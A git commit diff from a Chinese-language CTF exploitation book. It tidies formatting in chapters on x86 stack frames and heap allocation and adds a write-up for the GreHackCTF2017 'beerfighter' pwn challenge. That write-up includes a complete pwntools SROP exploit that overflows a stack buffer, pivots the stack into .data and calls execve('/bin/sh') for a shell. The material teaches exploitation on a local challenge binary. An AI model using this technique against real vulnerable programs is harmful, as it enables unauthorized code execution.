finish 6.1.5

This commit is contained in:
firmianay
2017-11-24 10:57:02 +08:00
parent 4b6c272230
commit 2a535943e8
20 changed files with 688 additions and 12 deletions

View File

@ -51,14 +51,14 @@ x86 体系下函数的调用总是这样的:
栈帧对应的汇编代码:
```text
PUSH ebp ; 函数开始使用ebp前先把已有值保存到栈中
MOV ebp, esp ; 保存当前esp到ebp中
PUSH ebp ; 函数开始使用ebp前先把已有值保存到栈中
MOV ebp, esp ; 保存当前esp到ebp中
...   ; 函数体
 ; 无论esp值如何变化ebp都保持不变可以安全访问函数的局部变量、参数
MOV esp, ebp  ; 将函数的其实地址返回到esp中
POP ebp   ; 函数返回前弹出保存在栈中的ebp值
RET ; 函数返回并跳转
... ; 函数体
; 无论esp值如何变化ebp都保持不变可以安全访问函数的局部变量、参数
MOV esp, ebp ; 将函数的其实地址返回到esp中
POP ebp ; 函数返回前弹出保存在栈中的ebp值
RET ; 函数返回并跳转
```
函数调用后栈的标准布局如下图:
@ -209,7 +209,7 @@ void *sbrk(intptr_t increment);
在上图中我们看到 brk 指示堆结束地址start_brk 指示堆开始地址。BSS segment 和 heap 之间有一段 Random brk offset这是由于 ASLR 的作用,如果关闭了 ASLR则 Random brk offset 为 0堆结束地址和数据段开始地址重合。
例子:[源码](../src/Others/1.5.7_brk.c)
```
```C
#include <stdio.h>
#include <unistd.h>
void main() {
@ -348,7 +348,7 @@ int munmap(void *addr, size_t len);
```
例子:[源码](../src/Others/1.5.7_mmap.c)
```
```C
#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>
@ -424,7 +424,7 @@ void *realloc(void *ptr, size_t size);
```
示例:
```
```C
#include<stdio.h>
#include<malloc.h>
void foo(int n) {

View File

@ -1,7 +1,7 @@
# 6.1.4 pwn BackdoorCTF2017 Fun-Signals
- [SROP 原理](#srop-原理)
- [Linux 系统调用](#Linux 系统调用)
- [Linux 系统调用](#linux-系统调用)
- [signal 机制](#signal-机制)
- [BackdoorCTF2017 Fun Signals](#backdoorctf2017-fun-signals)
- [参考资料](#参考资料)
@ -155,7 +155,7 @@ io.interactive()
```
```
$ python2 exp_funsignals.py
[*] '/home/firmy/Desktop/RE4B/srop/funsignals_player_bin'
[*] '/home/firmy/Desktop/funsignals_player_bin'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found

View File

@ -1,6 +1,179 @@
# 6.1.5 pwn GreHackCTF2017 beerfighter
- [题目解析](#题目解析)
- [Exploit](#exploit)
## 题目解析
```
$ file game
game: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=1f9b11cb913afcbbbf9cb615709b3c62b2fdb5a2, stripped
```
64 位静态链接stripped。
既然是个小游戏,先玩一下,然后发现,进入 City Hall 后,有一个可以输入字符串的地方,然而即使我们什么也不输入,直接回车,在 Leave the town 时也会出现 Segmentation fault
```
[0] The bar
[1] The City Hall
[2] The dark yard
[3] Leave the town for ever
Type your action number > 1
Welcome Newcomer! I am the mayor of this small town and my role is to register the names of its citizens.
How should I call you?
[0] Tell him your name
[1] Leave
Type your action number > 0
Type your character name here >
...
[0] The bar
[1] The City Hall
[2] The dark yard
[3] Leave the town for ever
Type your action number > 3
By !
Segmentation fault (core dumped)
```
程序大概清楚了,看代码吧,经过一番搜索,发现了一个很有意思的函数:
```
[0x00400d8e]> pdf @ fcn.00400773
/ (fcn) fcn.00400773 15
| fcn.00400773 ();
| ; CALL XREF from 0x00400221 (fcn.004001f3)
| ; CALL XREF from 0x004002b6 (fcn.00400288)
| 0x00400773 4889f8 mov rax, rdi
| 0x00400776 4889f7 mov rdi, rsi
| 0x00400779 4889d6 mov rsi, rdx
| 0x0040077c 4889ca mov rdx, rcx
| 0x0040077f 0f05 syscall
\ 0x00400781 c3 ret
```
`syscall;ret`,你想到了什么,对,就是前面讲的 SROP。
其实前面的输入一个字符串,程序也是通过 syscall 来读入的,从函数 `0x004004b8` 开始仔细跟踪代码后就会知道,系统调用为 `read()`
```
gdb-peda$ pattern_offset $ebp
1849771374 found at offset: 1040
```
缓冲区还挺大的,`1040+8=1048`
好,现在思路已经清晰了,先利用缓冲区溢出漏洞,用 `syscall;ret` 地址覆盖返回地址,通过 frame\_1 调用 `read()` 读入 frame_2 到 `.data` 段(这个程序没有`.bss`,而且`.data`可写),然后将栈转移过去,调用 `execve()` 执行“/bin/sh”从而拿到 shell。
构造 sigreturn
```
$ ropgadget --binary game --only "pop|ret"
...
0x00000000004007b2 : pop rax ; ret
```
```python
# sigreturn syscall
sigreturn = p64(pop_rax_addr)
sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf
sigreturn += p64(syscall_addr)
```
然后是 frame_1通过设定 `frame_1.rsp = base_addr` 来转移栈:
```python
# frame_1: read frame_2 to .data
frame_1 = SigreturnFrame()
frame_1.rax = constants.SYS_read
frame_1.rdi = constants.STDIN_FILENO
frame_1.rsi = data_addr
frame_1.rdx = len(str(frame_2))
frame_1.rsp = base_addr # stack pivot
frame_1.rip = syscall_addr
```
frame_2 执行 `execve()`
```python
# frame_2: execve to get shell
frame_2 = SigreturnFrame()
frame_2.rax = constants.SYS_execve
frame_2.rdi = data_addr
frame_2.rsi = 0
frame_2.rdx = 0
frame_2.rip = syscall_addr
```
Bingo!!!
```
$ python2 exp.py
[*] '/home/firmy/Desktop/game'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './game': pid 12975
[*] Switching to interactive mode
By !
$ whoami
firmy
```
## Exploit
完整的 exp 如下,其他文件放在了[github](../src/writeup/6.1.5_pwn_grehackctf2017_beerfighter)相应文件夹中:
```python
from pwn import *
elf = ELF('./game')
io = process('./game')
io.recvuntil("> ")
io.sendline("1")
io.recvuntil("> ")
io.sendline("0")
io.recvuntil("> ")
context.clear()
context.arch = "amd64"
data_addr = elf.get_section_by_name('.data').header.sh_addr + 0x10
base_addr = data_addr + 0x8 # new stack address
# useful gadget
pop_rax_addr = 0x00000000004007b2 # pop rax ; ret
syscall_addr = 0x000000000040077f # syscall ;
# sigreturn syscall
sigreturn = p64(pop_rax_addr)
sigreturn += p64(constants.SYS_rt_sigreturn) # 0xf
sigreturn += p64(syscall_addr)
# frame_2: execve to get shell
frame_2 = SigreturnFrame()
frame_2.rax = constants.SYS_execve
frame_2.rdi = data_addr
frame_2.rsi = 0
frame_2.rdx = 0
frame_2.rip = syscall_addr
# frame_1: read frame_2 to .data
frame_1 = SigreturnFrame()
frame_1.rax = constants.SYS_read
frame_1.rdi = constants.STDIN_FILENO
frame_1.rsi = data_addr
frame_1.rdx = len(str(frame_2))
frame_1.rsp = base_addr # stack pivot
frame_1.rip = syscall_addr
payload_1 = "A" * 1048
payload_1 += sigreturn
payload_1 += str(frame_1)
io.sendline(payload_1)
io.recvuntil("> ")
io.sendline("3")
payload_2 = "/bin/sh\x00"
payload_2 += sigreturn
payload_2 += str(frame_2)
io.sendline(payload_2)
io.interactive()
```